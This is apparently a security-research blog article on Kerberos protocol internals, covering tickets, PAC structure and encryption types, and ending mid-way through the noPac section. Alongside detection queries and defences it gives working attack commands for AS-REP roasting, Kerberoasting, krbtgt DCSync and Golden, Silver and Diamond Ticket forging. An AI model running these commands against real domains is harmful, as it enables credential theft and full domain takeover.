Kerberos Protocol Internals: Tickets, PAC, and the Security Implications
Mon Jun 29 2026 · 23 min read
Category: Security Research
# Kerberos# Active-Directory# Protocol# Attack-Chain# Windows
Introduction: Why Study Kerberos Protocol Internals?
Understanding Kerberos at a protocol level is understanding why Golden Tickets work, why the krbtgt account is the "god key of the domain," and why a service account password can be cracked offline. The vast majority of modern Active Directory attacks — Golden Ticket, Silver Ticket, Kerberoasting, AS-REP Roasting, Diamond Ticket, Unconstrained Delegation, noPac — directly exploit internal Kerberos protocol mechanics.
This article examines Kerberos from first principles: ASN.1 structures, encryption selection decisions, PAC buffer layout, and precisely which protocol property each attack exploits.
Historical Context: From MIT Athena to RFC 4120
Kerberos was developed in 1988 as part of MIT's Project Athena. The core problem: how can users on shared campus workstations authenticate to network services without transmitting their password over the wire? The solution was ticket-based authentication via a trusted third party — the Kerberos server.
Kerberos versions 1 through 4 were used internally at MIT. In 1993, Neuman and Ts'o published "Kerberos: An Authentication Service for Computer Networks." RFC 1510 (1993) provided the first IETF standardization, followed by RFC 4120 (2005) — the comprehensive revision that defines Kerberos 5 as used today.
Microsoft adopted Kerberos as the default network authentication protocol with Windows 2000, replacing NTLM. However, Microsoft also added its own extensions under MS-KILE (Microsoft Kerberos Protocol Extension): the PAC (Privilege Attribute Certificate), constrained delegation, resource-based constrained delegation — none of which exist in RFC 4120.
Section 1: Kerberos Components and Terminology
1.1 KDC — Key Distribution Center
The KDC is the heart of Kerberos, hosting two logical services:
AS (Authentication Service): Verifies the user's identity and issues the TGT. Uses the user's long-term key (NTLM hash or AES hash) for verification.
TGS (Ticket Granting Service): Receives and validates the user's TGT, then issues Service Tickets for requested services. The TGS does not know the user's password — it only validates the TGT's authenticity.
In Active Directory environments, the KDC role runs on every Domain Controller. The krbtgt account is a special service account whose long-term key encrypts all TGTs.
1.2 Principal
A principal is the identity identifier in Kerberos. Two types exist:
- User principal:
user01@CORP.LOCALformat. The uppercase portion is the realm. - Service principal:
http/webserver.corp.local@CORP.LOCALformat. Also known as SPN (Service Principal Name), written to theservicePrincipalNameattribute in Active Directory.
1.3 Realm
A realm defines the Kerberos trust boundary. Conventionally written in uppercase and typically matching the DNS domain name: CORP.LOCAL. Cross-realm trust allows ticket usage between two realms.
1.4 TGT vs Service Ticket
TGT (Ticket Granting Ticket):
- A special ticket issued for the
krbtgt/CORP.LOCALservice - Used to access the KDC for subsequent ticket requests
- Default lifetime: 10 hours (renewable: 7 days)
- Only the KDC can decrypt it (encrypted with
krbtgthash) - Stored in LSASS (Windows) or
ccachefiles (Linux/macOS)
Service Ticket (ST / TGS):
- Ticket issued for a specific SPN
- Encrypted with the service's long-term key
- Default lifetime: 10 hours
- Services can validate without contacting the KDC (this enables Silver Ticket attacks)
Section 2: AS Exchange — Authentication Service Exchange
The Kerberos session begins before even the username is sent in plaintext.
2.1 AS-REQ (KDC-REQ, msg-type 10)
AS-REQ is the KDC-REQ structure defined in RFC 4120 §5.4.1:
KDC-REQ ::= SEQUENCE {
pvno [1] INTEGER (5),
msg-type [2] INTEGER (10 -- AS-REQ, 12 -- TGS-REQ),
padata [3] SEQUENCE OF PA-DATA OPTIONAL,
req-body [4] KDC-REQ-BODY
}
KDC-REQ-BODY ::= SEQUENCE {
kdc-options [0] KDCOptions,
cname [1] PrincipalName OPTIONAL,
realm [2] Realm,
sname [3] PrincipalName OPTIONAL,
from [4] KerberosTime OPTIONAL,
till [5] KerberosTime,
rtime [6] KerberosTime OPTIONAL,
nonce [7] UInt32,
etype [8] SEQUENCE OF Int32,
addresses [9] HostAddresses OPTIONAL,
enc-authorization-data [10] EncryptedData OPTIONAL,
additional-tickets [11] SEQUENCE OF Ticket OPTIONAL
}
Critical fields:
cname: Client's principal name (username)sname: Requested service; in AS-REQ this is alwayskrbtgt/REALMetype: Encryption types supported by the client (in preference order)nonce: Random 32-bit value to prevent replay attackspadata: Pre-authentication data
2.2 PA-DATA: Pre-Authentication
Pre-authentication was added to RFC 4120 to prevent replay attacks and offline brute-force (it was optional in earlier versions). The most common PA-DATA types:
PA-ENC-TIMESTAMP (type 2):
A timestamp encrypted with the user's long-term key. The KDC decrypts this to verify both the user's identity and that the timestamp is within 5 minutes (replay protection).
PA-ENC-TS-ENC ::= SEQUENCE {
patimestamp [0] KerberosTime,
pausec [1] Microseconds OPTIONAL
}
PA-ETYPE-INFO2 (type 19):
The KDC advertises its supported encryption types and the salt value. The client uses this to derive its key.
PA-PAC-REQUEST (type 128, MS-KILE):
Indicates whether the client wants a PAC included. If include-pac: TRUE, the KDC adds a PAC to the TGT.
PA-FOR-USER (type 129, S4U2Self):
Allows a service account to obtain a TGS on behalf of another user.
2.3 AS-REP Roasting: DONT_REQUIRE_PREAUTH
For users with DONT_REQUIRE_PREAUTH (0x400000) set in userAccountControl, the KDC returns an AS-REP without requiring PA-ENC-TIMESTAMP.
The AS-REP structure:
AS-REP ::= [APPLICATION 11] KDC-REP
KDC-REP ::= SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (11 -- AS-REP, 13 -- TGS-REP),
padata [2] SEQUENCE OF PA-DATA OPTIONAL,
crealm [3] Realm,
cname [4] PrincipalName,
ticket [5] Ticket,
enc-part [6] EncryptedData -- EncASRepPart
}
The enc-part (EncASRepPart) is encrypted with the user's long-term key and contains the session key. Without pre-auth, this can be obtained without any authentication and cracked offline.
# AS-REP Roasting with impacket
GetNPUsers.py CORP.LOCAL/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# Output format: $krb5asrep$23$user@CORP.LOCAL:...
hashcat -m 18200 asrep.hash wordlist.txt
Section 3: TGT Internal Structure — Byte-Level Analysis
The TGT is carried in the Ticket structure defined in RFC 4120 §5.3:
3.1 Ticket ASN.1 Structure
Ticket ::= [APPLICATION 1] SEQUENCE {
tkt-vno [0] INTEGER (5),
realm [1] Realm,
sname [2] PrincipalName,
enc-part [3] EncryptedData -- EncTicketPart
}
EncTicketPart ::= [APPLICATION 3] SEQUENCE {
flags [0] TicketFlags,
key [1] EncryptionKey,
crealm [2] Realm,
cname [3] PrincipalName,
transited [4] TransitedEncoding,
authtime [5] KerberosTime,
starttime [6] KerberosTime OPTIONAL,
endtime [7] KerberosTime,
renew-till [8] KerberosTime OPTIONAL,
caddr [9] HostAddresses OPTIONAL,
authorization-data [10] AuthorizationData OPTIONAL
}
3.2 Field-by-Field Security Analysis
tkt-vno (5): Protocol version number. Fixed at 5. Must also be 5 in forged tickets.
realm (CORP.LOCAL): Realm of the issuing KDC. In cross-realm attacks, tickets issued from different realms appear here.
sname (krbtgt/CORP.LOCAL): The TGT always targets the krbtgt service. In Silver Tickets, this field changes to the target service's SPN.
enc-part: The EncryptionType value in this field is critical. Seeing etype: 17 (AES-128) or etype: 18 (AES-256) is normal. Seeing etype: 23 (RC4-HMAC) in a modern environment — especially one with AES — indicates either a legacy client or a potential attack.
3.3 EncTicketPart: The Heart of the Ticket
flags (set by the KDC):
TicketFlags ::= KerberosFlags
-- forwardable (0) = 0x40000000
-- forwarded (1) = 0x20000000
-- proxiable (2) = 0x10000000
-- proxy (3) = 0x08000000
-- may-postdate (4) = 0x04000000
-- postdated (5) = 0x02000000
-- invalid (6) = 0x01000000
-- renewable (7) = 0x00800000
-- initial (8) = 0x00400000
-- pre-authent (9) = 0x00200000
-- hw-authent (10) = 0x00100000
-- ok-as-delegate (11) = 0x00040000 -- unconstrained delegation trust
-- name-canonicalize(15) = 0x00010000 -- MS-KILE extension
FORWARDABLE: The ticket can be forwarded to another machine. Required for unconstrained delegation attacks. Must be set when constructing a Golden Ticket for delegation purposes.
OK-AS-DELEGATE: Indicates the service account is trusted for unconstrained delegation. When an attacker connects to a service with this flag, the service can copy the user's TGT.
RENEWABLE: The user can renew the ticket without contacting the DC again. Important for long-term persistence.
PRE-AUTHENT: This ticket was obtained using pre-authentication. Trusted identity indicator.
key (Session Key):
The session key negotiated between the client and KDC during the AS exchange. The client encrypts the Authenticator in TGS-REQ with this key. The session key also appears in the AS-REP's enc-part (encrypted with the user's long-term key).
authtime: The time of initial authentication. The Diamond Ticket obtains a real TGT and leaves this field unchanged, making detection harder. In Golden Tickets, this field may be synthetic.
endtime: Ticket validity period. Golden Tickets often set this to 10 years (87,600 hours) — an anomalous value usable for detection.
authorization-data: The PAC is carried here. Detailed below.
3.4 Golden Ticket: The Cryptographic Perspective
The Golden Ticket attack exploits a fundamental design principle: enc-part is encrypted with krbtgt's long-term key. When the KDC validates a TGT, it only decrypts the enc-part and checks that the contents are logically valid. It cannot verify which Domain Controller issued it, because the KDC does not maintain this information.
# Step 1: Get krbtgt hash (DCSync)
mimikatz # lsadump::dcsync /user:krbtgt /domain:corp.local
# Output:
# Hash NTLM: aabbccdd11223344...
# Hash SHA1: eeff001122334455...
# AES256: 0011223344556677...
# Step 2: Create Golden Ticket
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-3623811015-3361044348-30300820 \
/krbtgt:aabbccdd11223344... \
/id:500 \
/groups:512,519,520,513,518 \
/sids:S-1-5-21-3623811015-3361044348-30300820-519 \
/ptt
# With AES-256 (more stealthy — avoids RC4 warning)
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
/sid:S-1-5-21-... /aes256:0011223344... /ptt
The critical property: the KDC never asks "did I create this TGT?" It only asks "can I decrypt it with my krbtgt key and is the content valid?"
3.5 Diamond Ticket: A Stealthier Alternative
The Diamond Ticket is an evolution of the Golden Ticket designed to evade detection:
-
Golden Ticket: Entirely synthetic TGT. May contain synthetic
authtime, fakecname, fabricated timestamps — potentially detectable by honeytoken/canary systems. -
Diamond Ticket: A real TGT is obtained (real
authtime, realcname, real session key). Then the TGT'senc-partis decrypted,ExtraSidsis populated with Domain Admin/Enterprise Admin SID, and it's re-encrypted with the krbtgt key. Result: a modified version of a TGT the KDC genuinely issued.
# Diamond Ticket with Rubeus
Rubeus.exe diamond /krbkey:0011223344556677... /user:USER01 \
/password:Password1! /enctype:aes256 \
/sids:S-1-5-21-...-519 /domain:corp.local /dc:DC01.corp.local /ptt
# With impacket
ticketer.py -request -domain corp.local -domain-sid S-1-5-21-... \
-aesKey 0011223344... -extra-sid S-1-5-21-...-519 USER01
Section 4: TGS Exchange — Ticket Granting Service Exchange
4.1 TGS-REQ (msg-type 12)
After obtaining a TGT, the client requests access to a service from the TGS:
-- TGS-REQ padata:
PA-TGS-REQ ::= AP-REQ -- TGT + Authenticator
AP-REQ ::= [APPLICATION 14] SEQUENCE {
pvno [0] INTEGER (5),
msg-type [1] INTEGER (14),
ap-options [2] APOptions,
ticket [3] Ticket, -- TGT
authenticator [4] EncryptedData -- encrypted with session key
}
Authenticator ::= [APPLICATION 2] SEQUENCE {
authenticator-vno [0] INTEGER (5),
crealm [1] Realm,
cname [2] PrincipalName,
cksum [3] Checksum OPTIONAL,
cusec [4] Microseconds,
ctime [5] KerberosTime,
subkey [6] EncryptionKey OPTIONAL,
seq-number [7] UInt32 OPTIONAL,
authorization-data [8] AuthorizationData OPTIONAL
}
Authenticator's security role: To prevent replay attacks, each Authenticator contains a unique timestamp. The KDC maintains a replay cache of Authenticators used in the last 5 minutes. If the same Authenticator is submitted twice, KRB_AP_ERR_REPEAT is returned.
4.2 TGS-REP (msg-type 13)
TGS-REP contains two encrypted fields:
TGS-REP ::= [APPLICATION 13] KDC-REP
-- enc-part: encrypted with session key (EncTGSRepPart)
EncTGSRepPart ::= [APPLICATION 26] SEQUENCE {
key [0] EncryptionKey, -- new session key (client↔service)
last-req [1] LastReq,
nonce [2] UInt32,
key-expiration [3] KerberosTime OPTIONAL,
flags [4] TicketFlags,
authtime [5] KerberosTime,
starttime [6] KerberosTime OPTIONAL,
endtime [7] KerberosTime,
renew-till [8] KerberosTime OPTIONAL,
srealm [9] Realm,
sname [10] PrincipalName,
caddr [11] HostAddresses OPTIONAL
}
-- ticket: encrypted with service hash (EncTicketPart)
-- Client cannot read this field; forwards it intact to the service
4.3 Kerberoasting: Offline Cracking of the Service Hash
The ticket field in TGS-REP is encrypted with the service account's long-term key. The client does not read this field; it forwards it directly to the service. However, an attacker can capture this encrypted blob and attempt to crack it offline.
# Kerberoast with impacket
GetUserSPNs.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -request
# Output: $krb5tgs$23$*SvcAccount$CORP.LOCAL$...
# Crack with hashcat
hashcat -m 13100 kerberoast.hash /wordlists/rockyou.txt --rules=best64.rule
# AES TGS (harder to crack) — hashcat mode 19600/19700
hashcat -m 19600 aes128.hash wordlist.txt
hashcat -m 19700 aes256.hash wordlist.txt
# With Rubeus
Rubeus.exe kerberoast /nowrap /format:hashcat
RC4 Downgrade — Why Does RC4 Still Appear?
In modern environments, service accounts may use AES. However, if the attacker specifies only RC4 (0x17) in the etype field of the TGS-REQ, the KDC may return an RC4-encrypted TGS — if the service account's msDS-SupportedEncryptionTypes value permits RC4.
# Force RC4
Rubeus.exe kerberoast /rc4opsec /nowrap
# or
GetUserSPNs.py CORP.LOCAL/user01:Password1! -request -etype RC4
4.4 Silver Ticket: Bypassing the KDC Entirely
The Silver Ticket attack is based on constructing the ticket field in TGS-REP ourselves — encrypted with the service hash. This means we can access the service without ever contacting the KDC. This is both stealthier (no KDC logs) and works without domain connectivity.
# Get service hash (from previous Kerberoast or local dump)
mimikatz # sekurlsa::logonpasswords
# or: lsadump::lsa /patch
# Create Silver Ticket
mimikatz # kerberos::golden /user:FakeUser \
/domain:corp.local \
/sid:S-1-5-21-3623811015-3361044348-30300820 \
/target:webserver.corp.local \
/service:http \
/rc4:aabbccdd... \
/ptt
# With Rubeus
Rubeus.exe silver /service:http/webserver.corp.local \
/rc4:aabbccdd... /user:FakeUser /domain:corp.local /ptt
A Silver Ticket is only valid for that specific service and works against services that do not perform PAC validation with the KDC — which includes most services (IIS, MSSQL, SMB).
Section 5: PAC — Privilege Attribute Certificate
The PAC is Microsoft's most critical extension to RFC 4120. It is the structure carried inside Kerberos tickets that drives Windows authorization decisions.
5.1 PAC Location
The PAC resides in the authorization-data field of every Kerberos ticket, wrapped as:
AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING
}
-- ad-type: 1 → AD-IF-RELEVANT
-- Inside: ad-type: 128 → AD-WIN2K-PAC
5.2 PACTYPE Structure
According to the MS-PAC specification, the PAC has the following top-level structure:
PACTYPE {
cBuffers: ULONG, // Number of buffers
Version: ULONG (0), // Always 0
Buffers[]: PAC_INFO_BUFFER
}
PAC_INFO_BUFFER {
ulType: ULONG, // Buffer type
cbBufferSize: ULONG, // Buffer size
Offset: ULONG64 // Offset from PAC start
}
5.3 PAC_LOGON_INFO (ulType: 0x00000001) — The Most Critical Buffer
This buffer contains the KERB_VALIDATION_INFO structure (MS-PAC §2.5), NDR-encoded. All data that Windows uses to make authorization decisions about the user is here.
KERB_VALIDATION_INFO {
LogonTime: FILETIME
LogoffTime: FILETIME
KickOffTime: FILETIME
PasswordLastSet: FILETIME
PasswordCanChange: FILETIME
PasswordMustChange: FILETIME
EffectiveName: RPC_UNICODE_STRING // username
FullName: RPC_UNICODE_STRING
LogonScript: RPC_UNICODE_STRING
ProfilePath: RPC_UNICODE_STRING
HomeDirectory: RPC_UNICODE_STRING
HomeDirectoryDrive: RPC_UNICODE_STRING
LogonCount: USHORT
BadPasswordCount: USHORT
UserId: ULONG // RID (e.g., 1105)
PrimaryGroupId: ULONG // e.g., 513 = Domain Users
GroupCount: ULONG
GroupIds[]: GROUP_MEMBERSHIP[] // Group RID list
UserFlags: ULONG
UserSessionKey: USER_SESSION_KEY
LogonServer: RPC_UNICODE_STRING
LogonDomainName: RPC_UNICODE_STRING
LogonDomainId: PRPC_SID // Domain SID
Reserved1[2]: ULONG
UserAccountControl: ULONG
SubAuthStatus: ULONG
LastSuccessfulILogon: FILETIME
LastFailedILogon: FILETIME
FailedILogonCount: ULONG
Reserved3: ULONG
SidCount: ULONG
ExtraSids[]: KERB_SID_AND_ATTRIBUTES[] // ← ATTACK POINT
ResourceGroupDomainSid: PRPC_SID
ResourceGroupCount: ULONG
ResourceGroupIds[]: GROUP_MEMBERSHIP[]
}
ExtraSids — The Heart of the Golden Ticket
The ExtraSids field contains additional SIDs the user is a member of. Normally used for cross-realm SID history scenarios. In a Golden Ticket attack, Domain Admins (512) or Enterprise Admins (519) SIDs are injected here:
ExtraSids[0] = S-1-5-21-3623811015-3361044348-30300820-512 // Domain Admins
ExtraSids[1] = S-1-5-21-3623811015-3361044348-30300820-519 // Enterprise Admins
The service reads these SIDs from the PAC and grants Domain Admin privileges — even without real group membership in Active Directory.
5.4 PAC_CLIENT_INFO (ulType: 0x0000000A)
PAC_CLIENT_INFO {
ClientId: FILETIME // authtime (8 bytes)
NameLength: USHORT
Name: WCHAR[] // ClientName (UTF-16LE)
}
Contains the name and authentication time of the ticket's owner. When analyzing Diamond Tickets, this field carrying a real value makes detection harder.
5.5 PAC_UPN_DNS_INFO (ulType: 0x0000000C)
UPN_DNS_INFO {
UpnLength: USHORT
UpnOffset: USHORT
DnsDomainNameLength: USHORT
DnsDomainNameOffset: USHORT
Flags: ULONG
// Data: UPN + DnsDomainName (UTF-16LE)
}
Contains UPN (User Principal Name) and DNS domain name. Additional identity information used by some services.
5.6 PAC_SERVER_CHECKSUM (ulType: 0x00000006)
PAC_SIGNATURE_DATA {
SignatureType: ULONG // 0x0000000F = HMAC-SHA1-96
Signature: BYTE[] // 12 or 16 byte HMAC
RODCIdentifier: USHORT OPTIONAL
}
This checksum is computed with the service account's long-term key. Verifies the PAC content has not been tampered with.
Silver Ticket connection: If the attacker knows the service hash, they can craft a fake PAC and correctly compute PAC_SERVER_CHECKSUM. The service validates this checksum only against its own key.
5.7 PAC_KDC_CHECKSUM (ulType: 0x00000007)
Uses the same PAC_SIGNATURE_DATA format but computed with the krbtgt key. It is the checksum of PAC_SERVER_CHECKSUM's signature (not the entire PAC).
Golden/Diamond Ticket connection: If the attacker knows the krbtgt hash, they can recompute this checksum and pass KDC validation.
5.8 PAC Validation: Why Most Services Skip It
RFC 4120 does not mandate PAC validation. A service can forward the PAC to the KDC for verification (KERB_VERIFY_PAC_REQUEST protocol), but this requires an additional RPC call and degrades performance. The vast majority of common services (IIS, MSSQL, SMB) do not perform PAC validation. This is why Silver Tickets work.
To enable PAC validation:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1 (DWORD)
Section 6: Encryption Types and Security Analysis
6.1 RFC 3961: Kerberos Cryptography Framework
RFC 3961 defines a general framework for Kerberos encryption types. For each encryption type:
- Key derivation function (string2key, random2key)
- Encryption and decryption
- Integrity checksum
- Pseudo-random function
6.2 RC4-HMAC (etype 0x17): Why Still Problematic?
RC4-HMAC is defined in RFC 4757 and was a Microsoft addition introduced with Windows 2000. The critical security issue: for RC4-HMAC, the Kerberos key is the NTLM hash itself.
string2key(password, salt) = NTLM-hash(password) = MD4(UTF16LE(password))
This means:
- An attacker who obtains the NTLM hash can crack RC4-encrypted Kerberos TGT/TGS
- A direct bridge between Pass-the-Hash and Kerberos is created (Overpass-the-Hash)
- Kerberoasting cracks RC4 TGS tickets to obtain the service account's NTLM hash
# Overpass-the-Hash: NTLM hash → Kerberos TGT
Rubeus.exe asktgt /user:USER01 /rc4:aabbccdd... /domain:corp.local /ptt
impacket-getTGT corp.local/USER01 -hashes :aabbccdd...
6.3 AES-256-CTS-HMAC-SHA1-96 (etype 0x12): Why More Secure?
AES for Kerberos is defined in RFC 3962. The string2key function:
string2key(password, salt, params):
iter_count = params.iter_count # default: 4096
tkey = random2key(PBKDF2-SHA1(password, salt, iter_count, keylength))
key = DK(tkey, "kerberos" || 0x00000001 || keylength)
With PBKDF2 and 4096 iterations, each password guess requires 4096 SHA-1 computations. This slows offline cracking by several thousand times compared to RC4.
For AES, the salt value is: REALM + username (e.g., CORP.LOCALuser01). Every wordlist attempt during offline cracking must run PBKDF2 with this salt.
AES Golden Ticket: Requires the AES krbtgt hash, obtainable via lsadump::dcsync /user:krbtgt. A Golden Ticket created with AES is less detectable than one with RC4, because modern DCs log RC4 usage.
6.4 msDS-SupportedEncryptionTypes
This Active Directory attribute defines, as a bitmask, which encryption types a principal (user/computer/service account) will accept:
Bit Value Meaning
0 0x00000001 DES-CBC-CRC
1 0x00000002 DES-CBC-MD5
2 0x00000004 RC4-HMAC
3 0x00000008 AES128-CTS-HMAC-SHA1-96
7 0x00000080 AES256-CTS-HMAC-SHA1-96
Common values:
0(not set): Defaults to RC40x18(24): AES-128 + AES-256 — recommended0x1C(28): RC4 + AES — transition period0x1F(31): All (including DES) — dangerous
Kerberoasting downgrade attack:
# Downgrade msDS-SupportedEncryptionTypes to RC4 (requires GenericWrite)
Set-ADUser svcSQLAdmin -Replace @{
'msDS-SupportedEncryptionTypes' = 4 # RC4 only
}
# Then Kerberoast → hashcat -m 13100 (much faster)
Detection: EID 4769 with ticket_encryption_type = 0x17 (RC4) — suspicious when the target account supports AES.
Section 7: S4U Extensions — Protocol Transition and Delegation
7.1 S4U2Self (MS-SFU §3.1)
S4U2Self (Service-for-User-to-Self) allows a service account to obtain a TGS for its own service on behalf of any user. This is called "protocol transition" because it bridges non-Kerberos authentication (NTLM, certificate) to Kerberos.
S4U2Self flow:
1. Service → KDC: TGS-REQ
- PA-FOR-USER: { userName: "TargetUser", userRealm: "CORP.LOCAL" }
- sname: its own SPN
2. KDC → Service: TGS-REP
- Ticket: ST for ServiceAccount service, on behalf of TargetUser
- Ticket contains TargetUser's PAC
- FORWARDABLE flag: set if TrustedToAuthForDelegation is present
S4U2Self exploitation scenario:
# S4U2Self with Rubeus
Rubeus.exe s4u /user:svcAccount /password:Password1! \
/impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local \
/domain:corp.local /ptt
7.2 S4U2Proxy (MS-SFU §3.2)
S4U2Proxy is the continuation of S4U2Self. The service account uses the "forwardable" ticket obtained from S4U2Self to access another service on the user's behalf.
S4U2Proxy flow:
1. Service → KDC: TGS-REQ
- additional-tickets[0]: ST from S4U2Self (FORWARDABLE)
- sname: target service's SPN
2. KDC → Service: TGS-REP
- Ticket: ST for TargetUser for TargetService
3. Service → TargetService: AP-REQ
- Ticket: ST from step 2
7.3 Constrained vs Unconstrained Delegation
Unconstrained Delegation (userAccountControl: TRUSTED_FOR_DELEGATION):
The service directly receives the user's TGT and can forward it to any service. The KDC sends the TGT as an additional ticket in AP-REQ. Attack scenario: compromise a service with the unconstrained delegation flag, then harvest TGTs from connecting users (including Domain Admins).
# Find service accounts with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Constrained Delegation (msDS-AllowedToDelegateTo):
The service can only S4U2Proxy to a specified list of SPNs. More secure, but misconfiguration is exploitable.
Resource-Based Constrained Delegation (RBCD):
The target resource controls which accounts can delegate to it (msDS-AllowedToActOnBehalfOfOtherIdentity). An attacker with GenericWrite permission can modify this attribute for privilege escalation.
# RBCD attack
$SD = New-Object Security.AccessControl.RawSecurityDescriptor(
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-1234)")
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-ADComputer -Identity "TargetComputer" -PrincipalsAllowedToDelegateToAccount AttackerMachine$
Section 8: KRB-ERROR Messages and Analysis
Kerberos error messages are critical for both troubleshooting and security analysis:
KDC_ERR_C_PRINCIPAL_UNKNOWN = 6 -- Client not found in DB
KDC_ERR_S_PRINCIPAL_UNKNOWN = 7 -- Server not found in DB (wrong SPN!)
KDC_ERR_CLIENT_REVOKED = 18 -- Client credentials revoked (disabled account)
KDC_ERR_PREAUTH_FAILED = 24 -- Pre-auth info incorrect (bad password)
KDC_ERR_PREAUTH_REQUIRED = 25 -- Pre-auth required (normal)
KRB_AP_ERR_BAD_INTEGRITY = 31 -- Integrity check failed (wrong key)
KRB_AP_ERR_TKT_EXPIRED = 32 -- Ticket expired
KRB_AP_ERR_REPEAT = 34 -- Replayed request
KRB_AP_ERR_SKEW = 37 -- Clock skew too great (>5 minutes)
KRB_ERR_RESPONSE_TOO_BIG = 52 -- Response too big for UDP; use TCP
Critical for penetration testing:
KDC_ERR_PREAUTH_REQUIRED (25): Normal — account requires pre-authKDC_ERR_PREAUTH_FAILED (24): Wrong passwordKDC_ERR_CLIENT_REVOKED (18): Account disabledKRB_AP_ERR_SKEW (37): Clock sync issue (Kerberos requires ±5 min tolerance)KDC_ERR_S_PRINCIPAL_UNKNOWN (7): SPN doesn't exist — invalid SPN for Kerberoasting
Section 9: Wireshark Kerberos Traffic Analysis
9.1 Filters
# All Kerberos traffic
kerberos
# By message type
kerberos.msg_type == 10 # AS-REQ
kerberos.msg_type == 11 # AS-REP
kerberos.msg_type == 12 # TGS-REQ
kerberos.msg_type == 13 # TGS-REP
kerberos.msg_type == 14 # AP-REQ
kerberos.msg_type == 15 # AP-REP
kerberos.msg_type == 30 # KRB-ERROR
# By error code
kerberos.error_code == 25 # PREAUTH_REQUIRED
kerberos.error_code == 24 # PREAUTH_FAILED
kerberos.error_code == 18 # CLIENT_REVOKED
kerberos.error_code == 37 # Clock skew
# Specific user
kerberos.CNameString == "user01"
# RC4 usage (suspicious)
kerberos.etype == 23
# Specific SPN
kerberos.SNameString contains "krbtgt"
kerberos.SNameString contains "cifs"
9.2 Kerberoasting Detection in TGS-REQ
Suspicious TGS-REQ in Wireshark:
kerberos.SNameString != "krbtgt" # Service ticket (may be normal)
kerberos.etype == 23 # RC4 being requested
Combined: RC4 TGS request for a service account = potential Kerberoasting attempt.
Section 10: Detection and Defense
10.1 Windows Event ID Reference
EID 4768 — Kerberos Authentication Ticket (TGT) Requested
Fields: Account Name, Supplied Realm, Service Name, Ticket Options,
Result Code, Ticket Encryption Type, Pre-Authentication Type,
IP Address, Certificate Issuer, Certificate Serial Number
EID 4769 — Kerberos Service Ticket (TGS) Requested
Fields: Account Name, Service Name, Ticket Options,
Ticket Encryption Type, Failure Code, Transited Services
EID 4770 — Kerberos Service Ticket Renewed
EID 4771 — Kerberos Pre-Authentication Failed
Account Name, IP Address, Failure Code
Failure Code 0x18 = wrong password
EID 4672 — Special Logon
Administrator or DA rights assigned to new logon session
Generated when Golden/Silver Ticket succeeds
10.2 Golden Ticket Detection
# EID 4769 + 4768 correlation:
# 1. EID 4769 without prior EID 4768 (TGS without TGT request)
# 2. EID 4768 with EncryptionType = 0x17 (RC4) on an AES-only DC
# 3. EID 4769 with anomalous AccountDomain
# 4. Abnormal ticket lifetime (10 years)
# KQL (Microsoft Sentinel)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName !endswith "$"
| where AccountDomain == "CORP.LOCAL"
Behavioral anomalies:
authtimefar in the past (static value set during Golden Ticket construction)renew-tillset 10 years in the future- Mismatch between
cnameand the logon username - Ticket originating from an unknown client IP
10.3 Kerberoasting Detection
# EID 4769 - RC4 encrypted TGS request for service accounts
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4
| where ServiceName != "krbtgt"
| where ServiceName !endswith "$"
| where IpAddress != "-"
| summarize count() by IpAddress, AccountName, ServiceName, bin(TimeGenerated, 1h)
| where count_ > 5 // Multiple requests = automation
Watch for:
- Many TGS requests from a single source IP
- Burst requests for multiple service accounts
- RC4 TGS requests in an AES-capable environment
10.4 AS-REP Roasting Detection
# EID 4768 - Pre-auth type = 0 (no pre-auth)
SecurityEvent
| where EventID == 4768
| where PreAuthType == "0" // No pre-auth
| where Status == "0x0" // Successful
Remediation: Remove the DONT_REQUIRE_PREAUTH flag from userAccountControl.
# Find accounts with DONT_REQUIRE_PREAUTH
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# Remove the flag
Set-ADAccountControl -Identity user01 -DoesNotRequirePreAuth $false
10.5 Defense Recommendations
krbtgt Account:
# Rotate krbtgt password periodically to invalidate Golden Tickets
# Important: Must be reset TWICE (to clear old key from all DCs)
# Tool: New-KrbtgtKeys.ps1 (Microsoft)
# RODCs have their own krbtgt accounts
# RODC compromise → reset only that RODC's krbtgt
Encryption Policy:
GPO: Computer Config → Windows Settings → Security Settings →
Local Policies → Security Options →
"Network security: Configure encryption types allowed for Kerberos"
Recommended: AES128, AES256 (disable DES and RC4)
PAC Validation:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1
Microsoft Defender for Identity (MDI) Alerts:
- Forged PAC using encryption downgrade activity
- Kerberos Golden Ticket activity
- Kerberos Silver Ticket activity
- Overpass-the-Hash activity
- Suspected Kerberoasting activity
- Account enumeration reconnaissance using Kerberos queries
Section 11: CVEs and Notable Vulnerabilities
MS14-068 (CVE-2014-6324)
Impact: Any domain user → Domain Admin
Mechanism: The KDC accepted checksum type 0xFFFFFFFF (unsigned MD5). An attacker could:
- Obtain a valid TGT
- Modify the PAC — add Domain Admin RID to GroupIds
- Use MD5 (unsigned) as the checksum type
- The KDC accepted the invalid checksum type instead of rejecting it
Fix: KB3011780 (November 2014). Not present on patched systems but still exploitable on unpatched pre-2014 systems.
noPac (CVE-2021-42287 + CVE-2021-42278)
Impact: Domain user → Domain Admin (rapidly)
Mechanism:
- CVE-2021-42278: Machine account sAMAccountName can be set to match a Domain Controller name
- CVE-2021-42287: When the KDC cannot find a sAMAccountName in TGS request, it retries with
$appended
Combined attack:
- Create machine account:
sAMAccountName = DC01(same as DC name) - Get TGT: for
DC01@CORP.LOCAL - Change the machine account's sAMAccountName to something else
